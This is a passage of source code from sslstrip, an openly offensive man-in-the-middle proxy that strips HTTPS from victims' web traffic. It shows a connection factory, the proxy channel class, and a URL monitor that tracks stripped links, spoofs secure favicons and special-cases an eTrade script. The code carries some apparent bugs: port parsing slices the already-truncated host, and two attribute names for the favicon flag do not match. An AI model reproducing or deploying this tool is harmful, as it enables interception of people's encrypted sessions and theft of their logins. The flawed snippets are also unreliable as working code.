| 10 | 11 | class ServerConnectionFactory(ClientFactory): 12 | """ 13 | This class is used to create a connection to the server. 14 | """ 15 | 16 | def __init__(self, command, uri, postData, headers, client): 17 | """ 18 | Initialize the ServerConnectionFactory with remote server details, 19 | as well as a client reference for proxying requests. 20 | """ 21 | self.command = command 22 | self.uri = uri 23 | self.postData = postData 24 | self.headers = headers 25 | self.client = client 26 | 27 | def buildProtocol(self, addr): 28 | """ 29 | Build protocol creates an instance of the protocol to be used for the connection. 30 | """ 31 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) 32 | 33 | def clientConnectionFailed(self, connector, reason): 34 | """ 35 | This function is called if connection to the server fails. 36 | """ 37 | logging.debug('Server connection failed.') 38 | destination = connector.getDestination() 39 | 40 | # Retry connection with SSL if not on port 443 41 | if destination.port != 443: 42 | logging.debug('Retrying via SSL') 43 | self.client.proxyViaSSL( 44 | self.headers['host'], 45 | self.command, 46 | self.uri, 47 | self.postData, 48 | self.headers, 49 | 443, 50 | ) 51 | else: 52 | self.client.finish() 53 | -------------------------------------------------------------------------------- /sslstrip/StrippingProxy.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | from twisted.web.http import HTTPChannel 20 | 21 | from sslstrip.ClientRequest import ClientRequest 22 | 23 | 24 | class StrippingProxy(HTTPChannel): 25 | """Sslstrip is, at heart, a transparent proxy server that does some unusual things. 26 | This is the basic proxy server class, where we get callbacks for GET and POST methods. 27 | We are then proxy this out using HTTP or HTTPS depending on what information we have about 28 | the (connection, client_address) tuple in our cache. 29 | """ 30 | 31 | requestFactory = ClientRequest 32 | -------------------------------------------------------------------------------- /sslstrip/URLMonitor.py: -------------------------------------------------------------------------------- 1 | # 2 | # This program is free software; you can redistribute it and/or 3 | # modify it under the terms of the GNU General Public License as 4 | # published by the Free Software Foundation; either version 3 of the 5 | # License, or (at your option) any later version. 6 | # 7 | # This program is distributed in the hope that it will be useful, but 8 | # WITHOUT ANY WARRANTY; without even the implied warranty of 9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 10 | # General Public License for more details. 11 | # 12 | # You should have received a copy of the GNU General Public License 13 | # along with this program; if not, write to the Free Software 14 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 15 | # USA 16 | # 17 | 18 | import re 19 | 20 | 21 | class URLMonitor: 22 | """ 23 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the 24 | server is expecting over SSL. It also keeps track of secure favicon urls. 25 | """ 26 | 27 | # Start the arms race, and end up here... 28 | javascriptTrickery = [re.compile(r'http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html')] 29 | _instance = None 30 | 31 | def __init__(self): 32 | self.strippedURLs = set() 33 | self.strippedURLPorts = {} 34 | self.faviconReplacement = False 35 | 36 | def is_secure_link(self, client, url): 37 | for expression in URLMonitor.javascriptTrickery: 38 | if re.match(expression, url): 39 | return True 40 | 41 | return (client, url) in self.strippedURLs 42 | 43 | def get_secure_port(self, client, url): 44 | if (client, url) in self.strippedURLs: 45 | return self.strippedURLPorts[(client, url)] 46 | else: 47 | return 443 48 | 49 | def add_secure_link(self, client, url): 50 | methodIndex = url.find('//') + 2 51 | method = url[0:methodIndex] 52 | 53 | pathIndex = url.find('/', methodIndex) 54 | host = url[methodIndex:pathIndex] 55 | path = url[pathIndex:] 56 | 57 | port = 443 58 | portIndex = host.find(':') 59 | 60 | if portIndex != -1: 61 | host = host[0:portIndex] 62 | port = host[portIndex + 1 :] 63 | if not port.isdigit(): 64 | port = 443 65 | 66 | url = method + host + path 67 | 68 | self.strippedURLs.add((client, url)) 69 | self.strippedURLPorts[(client, url)] = int(port) 70 | 71 | def set_favicon_spoofing(self, favicon_spoofing): 72 | self.faviconSpoofing = favicon_spoofing 73 | 74 | def is_favicon_spoofing(self): 75 | return self.faviconSpoofing 76 | 77 | def is_secure_favicon(self, client, url): 78 | return (self.faviconSpoofing is True) and (url.find('favicon-x-favicon-x.ico') != -1) 79 | 80 | @staticmethod 81 | def get_instance(): 82 | if URLMonitor._instance is None: 83 | URLMonitor._instance = URLMonitor() 84 | 85 | return URLMonitor._instance 86 | -------------------------------------------------------------------------------- /sslstrip/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/L1ghtn1ng/sslstrip/0dc414283d1d45f9e8f8c64dd1dd491418420b52/sslstrip/__init__.py --------------------------------------------------------------------------------